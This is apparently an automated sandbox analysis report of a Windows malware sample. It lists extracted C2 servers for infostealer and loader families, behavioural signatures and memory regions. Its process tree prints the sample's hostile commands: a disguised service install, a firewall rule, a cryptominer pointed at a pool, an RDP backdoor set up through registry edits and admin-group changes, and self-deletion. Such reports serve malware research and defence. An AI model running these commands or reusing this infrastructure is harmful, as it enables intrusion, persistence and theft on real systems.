Analysis

  • max time kernel
    151s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    12-10-2021 11:22

General

  • Target

    a4b9e911a5f2f42c747161b858485001a041d5250b78bd80e80a78356797571f.exe

  • Size

    175KB

  • MD5

    7ac8977b67f26ffb0f6c4b902cc5cc87

  • SHA1

    9b3f1eba66f88896daa592d98a27169c4c119ac9

  • SHA256

    a4b9e911a5f2f42c747161b858485001a041d5250b78bd80e80a78356797571f

  • SHA512

    24bac860b2bfed74d88de7b825a7a5fc4251f0a66ed8892aa814eaaddf5ee5dd612fb1c226a1f0b21c8f9a091cdff628158fa1871297d7b295aaa3b27bad78b9

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://linavanandr11.club/

http://iselaharty12.club/

http://giovaninardo13.club/

http://zayneliann14.club/

http://zorinosali15.club/

rc4.i32
rc4.i32

Extracted

Family

tofsee

C2

defeatwax.ru

refabyd.info

Extracted

Family

raccoon

Version

1.8.2

Botnet

fbe5e97e7d069407605ee9138022aa82166657e6

Attributes
  • url4cnc

    http://telemirror.top/stevuitreen

    http://tgmirror.top/stevuitreen

    http://telegatt.top/stevuitreen

    http://telegka.top/stevuitreen

    http://telegin.top/stevuitreen

    https://t.me/stevuitreen

rc4.plain
rc4.plain

Extracted

Family

vidar

Version

41.3

Botnet

1033

C2

https://mas.to/@oleg98

Attributes
  • profile_id

    1033

Extracted

Family

redline

Botnet

w1

C2

109.234.34.165:12323

Extracted

Family

redline

Botnet

159

C2

190.2.136.29:3279

Extracted

Family

raccoon

Version

1.8.2

Botnet

8d179b9e611eee525425544ee8c6d77360ab7cd9

Attributes
  • url4cnc

    http://teletop.top/agrybirdsgamerept

    http://teleta.top/agrybirdsgamerept

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

MegaProliv

C2

93.115.20.139:28978

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 9 IoCs
  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 2 IoCs
  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 13 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Modifies Windows Firewall 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 8 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 8 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 12 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a4b9e911a5f2f42c747161b858485001a041d5250b78bd80e80a78356797571f.exe
    "C:\Users\Admin\AppData\Local\Temp\a4b9e911a5f2f42c747161b858485001a041d5250b78bd80e80a78356797571f.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2388
    • C:\Users\Admin\AppData\Local\Temp\a4b9e911a5f2f42c747161b858485001a041d5250b78bd80e80a78356797571f.exe
      "C:\Users\Admin\AppData\Local\Temp\a4b9e911a5f2f42c747161b858485001a041d5250b78bd80e80a78356797571f.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2264
  • C:\Users\Admin\AppData\Local\Temp\9EF.exe
    C:\Users\Admin\AppData\Local\Temp\9EF.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3640
    • C:\Users\Admin\AppData\Local\Temp\9EF.exe
      C:\Users\Admin\AppData\Local\Temp\9EF.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1656
  • C:\Users\Admin\AppData\Local\Temp\1615.exe
    C:\Users\Admin\AppData\Local\Temp\1615.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1448
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mzmlptbb\
      2⤵
        PID:3068
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\iljeyfpz.exe" C:\Windows\SysWOW64\mzmlptbb\
        2⤵
          PID:3992
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mzmlptbb binPath= "C:\Windows\SysWOW64\mzmlptbb\iljeyfpz.exe /d\"C:\Users\Admin\AppData\Local\Temp\1615.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1348
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description mzmlptbb "wifi internet conection"
            2⤵
              PID:752
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start mzmlptbb
              2⤵
                PID:1732
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2136
              • C:\Users\Admin\AppData\Local\Temp\1D0B.exe
                C:\Users\Admin\AppData\Local\Temp\1D0B.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:2860
              • C:\Users\Admin\AppData\Local\Temp\250B.exe
                C:\Users\Admin\AppData\Local\Temp\250B.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Accesses Microsoft Outlook accounts
                • Accesses Microsoft Outlook profiles
                • outlook_office_path
                • outlook_win_path
                PID:3576
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\250B.exe"
                  2⤵
                    PID:1524
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /T 10 /NOBREAK
                      3⤵
                      • Delays execution with timeout.exe
                      PID:3508
                • C:\Users\Admin\AppData\Local\Temp\2B46.exe
                  C:\Users\Admin\AppData\Local\Temp\2B46.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Checks processor information in registry
                  PID:904
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c taskkill /im 2B46.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\2B46.exe" & del C:\ProgramData\*.dll & exit
                    2⤵
                      PID:3508
                      • C:\Windows\SysWOW64\taskkill.exe
                        taskkill /im 2B46.exe /f
                        3⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1204
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout /t 6
                        3⤵
                        • Delays execution with timeout.exe
                        PID:1064
                  • C:\Windows\SysWOW64\mzmlptbb\iljeyfpz.exe
                    C:\Windows\SysWOW64\mzmlptbb\iljeyfpz.exe /d"C:\Users\Admin\AppData\Local\Temp\1615.exe"
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious use of WriteProcessMemory
                    PID:2128
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe
                      2⤵
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Modifies data under HKEY_USERS
                      PID:3060
                      • C:\Windows\SysWOW64\svchost.exe
                        svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                        3⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3156
                  • C:\Users\Admin\AppData\Local\Temp\3903.exe
                    C:\Users\Admin\AppData\Local\Temp\3903.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious use of WriteProcessMemory
                    PID:2872
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                      2⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2152
                  • C:\Users\Admin\AppData\Local\Temp\4690.exe
                    C:\Users\Admin\AppData\Local\Temp\4690.exe
                    1⤵
                    • Executes dropped EXE
                    PID:1864
                  • C:\Users\Admin\AppData\Local\Temp\51FB.exe
                    C:\Users\Admin\AppData\Local\Temp\51FB.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3944
                  • C:\Users\Admin\AppData\Local\Temp\63EE.exe
                    C:\Users\Admin\AppData\Local\Temp\63EE.exe
                    1⤵
                    • Executes dropped EXE
                    PID:2856
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
                      2⤵
                      • Drops file in System32 directory
                      • Drops file in Windows directory
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3252
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zwi0ctg1\zwi0ctg1.cmdline"
                        3⤵
                          PID:1072
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                            C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9391.tmp" "c:\Users\Admin\AppData\Local\Temp\zwi0ctg1\CSCE794561218B542B7A9A7E5BDCAC1F20.TMP"
                            4⤵
                              PID:752
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                            3⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1620
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                            3⤵
                              PID:3176
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                              3⤵
                                PID:1236
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
                                3⤵
                                  PID:3364
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
                                  3⤵
                                  • Modifies registry key
                                  PID:1388
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
                                  3⤵
                                    PID:2076
                                  • C:\Windows\SysWOW64\net.exe
                                    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                                    3⤵
                                      PID:732
                                      • C:\Windows\SysWOW64\net1.exe
                                        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                                        4⤵
                                          PID:1260
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                                        3⤵
                                          PID:3176
                                          • C:\Windows\SysWOW64\cmd.exe
                                            cmd /c net start rdpdr
                                            4⤵
                                              PID:2572
                                              • C:\Windows\SysWOW64\net.exe
                                                net start rdpdr
                                                5⤵
                                                  PID:2952
                                                  • C:\Windows\SysWOW64\net1.exe
                                                    C:\Windows\system32\net1 start rdpdr
                                                    6⤵
                                                      PID:2896
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                                                3⤵
                                                  PID:3200
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    cmd /c net start TermService
                                                    4⤵
                                                      PID:3608
                                                      • C:\Windows\SysWOW64\net.exe
                                                        net start TermService
                                                        5⤵
                                                          PID:3720
                                                          • C:\Windows\SysWOW64\net1.exe
                                                            C:\Windows\system32\net1 start TermService
                                                            6⤵
                                                              PID:3588
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                                                        3⤵
                                                          PID:1980
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                                          3⤵
                                                            PID:3996
                                                      • C:\Users\Admin\AppData\Local\Temp\68D1.exe
                                                        C:\Users\Admin\AppData\Local\Temp\68D1.exe
                                                        1⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of SetThreadContext
                                                        PID:1664
                                                        • C:\Users\Admin\AppData\Local\Temp\68D1.exe
                                                          C:\Users\Admin\AppData\Local\Temp\68D1.exe
                                                          2⤵
                                                          • Executes dropped EXE
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:3168

                                                      Network

                                                      MITRE ATT&CK Enterprise v6

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • memory/392-686-0x0000000004460000-0x0000000004470000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-700-0x0000000004460000-0x0000000004470000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-679-0x00000000028D0000-0x00000000028E0000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-681-0x0000000004460000-0x0000000004470000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-1490-0x0000000004460000-0x0000000004470000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-1492-0x0000000004460000-0x0000000004470000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-1491-0x0000000004590000-0x00000000045A0000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-1489-0x00000000028D0000-0x00000000028E0000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-683-0x0000000004470000-0x0000000004480000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-119-0x00000000003B0000-0x00000000003C6000-memory.dmp

                                                        Filesize

                                                        88KB

                                                      • memory/392-685-0x0000000004460000-0x0000000004470000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-688-0x0000000004460000-0x0000000004470000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-690-0x0000000004460000-0x0000000004470000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-707-0x0000000004590000-0x00000000045A0000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-695-0x0000000004590000-0x00000000045A0000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-164-0x00000000021C0000-0x00000000021D6000-memory.dmp

                                                        Filesize

                                                        88KB

                                                      • memory/392-696-0x0000000004460000-0x0000000004470000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-693-0x0000000004460000-0x0000000004470000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-698-0x0000000004460000-0x0000000004470000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-702-0x0000000004460000-0x0000000004470000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-704-0x0000000004460000-0x0000000004470000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-714-0x0000000004460000-0x0000000004470000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-705-0x0000000004460000-0x0000000004470000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-713-0x0000000004460000-0x0000000004470000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-711-0x0000000004460000-0x0000000004470000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/392-709-0x0000000004460000-0x0000000004470000-memory.dmp

                                                        Filesize

                                                        64KB

                                                      • memory/904-166-0x0000000003430000-0x0000000003506000-memory.dmp

                                                        Filesize

                                                        856KB

                                                      • memory/904-167-0x0000000000400000-0x0000000001735000-memory.dmp

                                                        Filesize

                                                        19.2MB

                                                      • memory/904-157-0x00000000019A6000-0x0000000001A23000-memory.dmp

                                                        Filesize

                                                        500KB

                                                      • memory/1236-873-0x0000000007070000-0x0000000007071000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1236-875-0x0000000007072000-0x0000000007073000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1236-902-0x000000007F0C0000-0x000000007F0C1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1448-148-0x00000000001C0000-0x00000000001D3000-memory.dmp

                                                        Filesize

                                                        76KB

                                                      • memory/1448-127-0x0000000000771000-0x000000000077F000-memory.dmp

                                                        Filesize

                                                        56KB

                                                      • memory/1448-149-0x0000000000400000-0x0000000000448000-memory.dmp

                                                        Filesize

                                                        288KB

                                                      • memory/1620-358-0x000000007EC10000-0x000000007EC11000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1620-342-0x0000000006E52000-0x0000000006E53000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1620-341-0x0000000006E50000-0x0000000006E51000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1664-240-0x0000000004C10000-0x0000000004C11000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1664-235-0x00000000001C0000-0x00000000001C1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/1864-222-0x0000000000400000-0x0000000000491000-memory.dmp

                                                        Filesize

                                                        580KB

                                                      • memory/1864-221-0x00000000004A0000-0x00000000005EA000-memory.dmp

                                                        Filesize

                                                        1.3MB

                                                      • memory/1864-184-0x0000000000811000-0x0000000000860000-memory.dmp

                                                        Filesize

                                                        316KB

                                                      • memory/2128-162-0x000000000062C000-0x000000000063A000-memory.dmp

                                                        Filesize

                                                        56KB

                                                      • memory/2128-186-0x0000000000400000-0x0000000000448000-memory.dmp

                                                        Filesize

                                                        288KB

                                                      • memory/2152-218-0x0000000005070000-0x0000000005676000-memory.dmp

                                                        Filesize

                                                        6.0MB

                                                      • memory/2152-209-0x0000000000400000-0x0000000000401000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2152-200-0x0000000000400000-0x0000000000422000-memory.dmp

                                                        Filesize

                                                        136KB

                                                      • memory/2264-116-0x0000000000400000-0x0000000000409000-memory.dmp

                                                        Filesize

                                                        36KB

                                                      • memory/2388-118-0x0000000000030000-0x0000000000039000-memory.dmp

                                                        Filesize

                                                        36KB

                                                      • memory/2856-254-0x0000000005460000-0x0000000005461000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2856-249-0x0000000001050000-0x0000000001452000-memory.dmp

                                                        Filesize

                                                        4.0MB

                                                      • memory/2856-247-0x0000000005880000-0x0000000005C7F000-memory.dmp

                                                        Filesize

                                                        4.0MB

                                                      • memory/2856-231-0x0000000000C41000-0x0000000001047000-memory.dmp

                                                        Filesize

                                                        4.0MB

                                                      • memory/2856-253-0x0000000005463000-0x0000000005464000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2856-250-0x0000000000400000-0x0000000000841000-memory.dmp

                                                        Filesize

                                                        4.3MB

                                                      • memory/2856-267-0x0000000005464000-0x0000000005465000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2856-252-0x0000000005462000-0x0000000005463000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2856-263-0x0000000006470000-0x0000000006471000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2860-137-0x0000000005BC0000-0x0000000005BC1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2860-180-0x0000000006AE0000-0x0000000006AE1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2860-185-0x0000000006AA0000-0x0000000006AA1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2860-187-0x0000000007010000-0x0000000007011000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2860-142-0x00000000055B0000-0x00000000055B1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2860-141-0x0000000005550000-0x0000000005551000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2860-179-0x00000000069C0000-0x00000000069C1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2860-146-0x00000000055A0000-0x00000000055A1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2860-227-0x0000000007C90000-0x0000000007C91000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2860-226-0x00000000071D0000-0x00000000071D1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2860-173-0x0000000006B90000-0x0000000006B91000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2860-174-0x0000000007260000-0x0000000007261000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2860-140-0x00000000056C0000-0x00000000056C1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2860-138-0x0000000077820000-0x00000000779AE000-memory.dmp

                                                        Filesize

                                                        1.6MB

                                                      • memory/2860-139-0x00000000054F0000-0x00000000054F1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/2860-135-0x0000000000290000-0x0000000000291000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3060-177-0x00000000022E0000-0x00000000022E1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3060-175-0x00000000023D0000-0x00000000023E5000-memory.dmp

                                                        Filesize

                                                        84KB

                                                      • memory/3060-178-0x00000000022E0000-0x00000000022E1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3168-256-0x0000000000400000-0x0000000000422000-memory.dmp

                                                        Filesize

                                                        136KB

                                                      • memory/3168-268-0x0000000004F70000-0x0000000005576000-memory.dmp

                                                        Filesize

                                                        6.0MB

                                                      • memory/3176-641-0x000000007EDD0000-0x000000007EDD1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3176-597-0x0000000006E42000-0x0000000006E43000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3176-596-0x0000000006E40000-0x0000000006E41000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3252-311-0x0000000005263000-0x0000000005264000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3252-1269-0x000000007EED0000-0x000000007EED1000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3252-286-0x0000000005260000-0x0000000005261000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3252-287-0x0000000005262000-0x0000000005263000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3576-165-0x0000000000400000-0x0000000001708000-memory.dmp

                                                        Filesize

                                                        19.0MB

                                                      • memory/3576-147-0x0000000001A46000-0x0000000001A95000-memory.dmp

                                                        Filesize

                                                        316KB

                                                      • memory/3576-159-0x0000000001970000-0x00000000019FE000-memory.dmp

                                                        Filesize

                                                        568KB

                                                      • memory/3944-193-0x00000000006D0000-0x0000000000701000-memory.dmp

                                                        Filesize

                                                        196KB

                                                      • memory/3944-196-0x00000000027B0000-0x00000000027CC000-memory.dmp

                                                        Filesize

                                                        112KB

                                                      • memory/3944-213-0x0000000005200000-0x0000000005201000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3944-215-0x0000000005202000-0x0000000005203000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3944-216-0x0000000005203000-0x0000000005204000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3944-219-0x0000000005204000-0x0000000005205000-memory.dmp

                                                        Filesize

                                                        4KB